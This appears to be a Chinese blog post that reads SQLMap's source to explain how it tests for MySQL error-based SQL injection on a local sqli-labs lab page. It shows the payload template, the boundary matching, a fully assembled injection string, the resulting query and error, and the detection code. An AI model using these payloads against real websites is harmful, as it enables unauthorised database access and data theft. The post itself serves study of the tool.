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Python：SQLMap源码精读之基于错误的盲注（error-based blind）
目标网址
http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1
Payload的生成
1 <test> 2 <title>MySQL >= 5.0 AND error-based - WHERE or HAVING clause</title> 3 <stype>2</stype> 4 <level>1</level> 5 <risk>0</risk> 6 <clause>1</clause> 7 <where>1</where> 8 <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,([QUERY]),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector> 9 <request>10 <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>11 </request>12 <response>13 <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>14 </response>15 <details>16 <dbms>MySQL</dbms>17 <dbms_version>>= 5.0</dbms_version>18 </details>19 </test>
该test xml元素是从文件payloads.xml提取出来的。
sqlmap会实现读取payloads.xml文件中的test元素，然后循环遍历，并生成相应的payload进行测试。
以上面的test为例，当遍历到该test的时候，在其子循环当中，还需要依次遍历boundary元素（都在payloads.xml文件中），并找到一个匹配的boundary。
何为匹配？
注意上面的test元素的子节点：where=1 和 clause=1
当且仅当某个boundary元素的where节点的值包含test元素的子节点，clause节点的值包含test元素的子节点的时候，该boundary才能和当前的test匹配，从而进一步生成payload。
例如：
1 <boundary>2 <level>1</level>3 <clause>1</clause>4 <where>1,2</where>5 <ptype>2</ptype>6 <prefix>‘</prefix>7 <suffix>AND ‘[RANDSTR]‘=‘[RANDSTR]</suffix>8 </boundary>
该boundary元素中的where节点的值为1,2，含有test元素的where节点的值（1）
并且，boundary元素中的clause节点的值为1，含有test元素的where节点的值（1）
因此，该boundary和test元素可以匹配。
test元素的payload的值为：
AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
最终的payload是根据test的payload子节点和boundary的prefix（前缀）、suffix（后缀）子节点的值组合而成的，即：
最终的payload = url参数 + boundary.prefix+test.payload+boundary.suffix
将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后
则生成的payload类似如下：
Payload: id=1‘ AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND ‘pujM‘=‘pujM
其中：
- URL参数：id=1
- prefix：‘
- payload：AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
- suffix：AND ‘pujM‘=‘pujM
最终生成的mysql语句为：
SELECT *FROM usersWHERE id = ‘1‘AND ( SELECT 1497 FROM ( SELECT COUNT(*), CONCAT( CHAR (58, 101, 121, 111, 58), ( SELECT ( CASE WHEN (1497 = 1497) THEN 1 ELSE 0 END ) ), CHAR (58, 97, 98, 104, 58), FLOOR(RAND(0) * 2) ) x FROM information_schema. TABLES GROUP BY x ) a)AND ‘pujM‘ = ‘pujM‘
如果，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话，那么执行的时候就会报如下错误：
Duplicate entry ‘:eyo:1:abh:1‘ for key ‘group_key‘
源码解释
1 # In case of error-based SQL injection 2 elif method == PAYLOAD.METHOD.GREP: 3 # Perform the test‘s request and grep the response 4 # body for the test‘s <grep> regular expression 5 try: 6 page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) 7 output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) 8 or extractRegexResult(check, listToStrValue(headers.headers 9 if headers else None), re.DOTALL | re.IGNORECASE) 10 or extractRegexResult(check, threadData.lastRedirectMsg[1] 11 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == 12 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)13 14 if output:15 result = output == "1"16 if result:17 infoMsg = "%s parameter ‘%s‘ is ‘%s‘ injectable " % (place, parameter, title)18 logger.info(infoMsg)19 20 injectable = True21 22 except sqlmapConnectionException, msg:23 debugMsg = "problem occured most likely because the "24 debugMsg += "server hasn‘t recovered as expected from the "25 debugMsg += "error-based payload used (‘%s‘)" % msg26 logger.debug(debugMsg)将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page
test元素的grep子节点的值是一个正则表达式：<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
由前面的数据，我们知道
[DELIMITER_START]=:eyo:
[DELIMITER_STOP] =:abh:
则最终生成的正则表达式为：:eyo:(?P<result>.*?):abh:(每次生成都是不一样的，因为:eyo:和:abh:都是随机生成的)
将page和正则表达式传递给函数extractRegexResult
1 def extractRegexResult(regex, content, flags=0): 2 """ 3 Returns ‘result‘ group value from a possible match with regex on a given 4 content 5 """ 6 7 retVal = None 8 9 if regex and content and ‘?P<result>‘ in regex:10 match = getCompiledRegex(regex, flags).search(content)11 12 if match:13 retVal = match.group("result")14 15 return retVal
函数功能较简单，主要使用正则表达式判断是否包含指定的数据，如果有，则返回匹配的数据，没有，则返回None。
由前面的内容，可知，如果url可以注入的话，返回值retVal应该等于"1"
if output: result = output == "1" if result: infoMsg = "%s parameter ‘%s‘ is ‘%s‘ injectable " % (place, parameter, title) logger.info(infoMsg) injectable = True
而使用正则：:eyo:(?P<result>.*?):abh:来匹配Duplicate entry ‘:eyo:1:abh:1‘ for key ‘group_key‘的结果为：1
故，url：http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入
建议阅读
关于Mysql注入过程中的五种报错方式及具体利用案例
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作 者：曾是土木人
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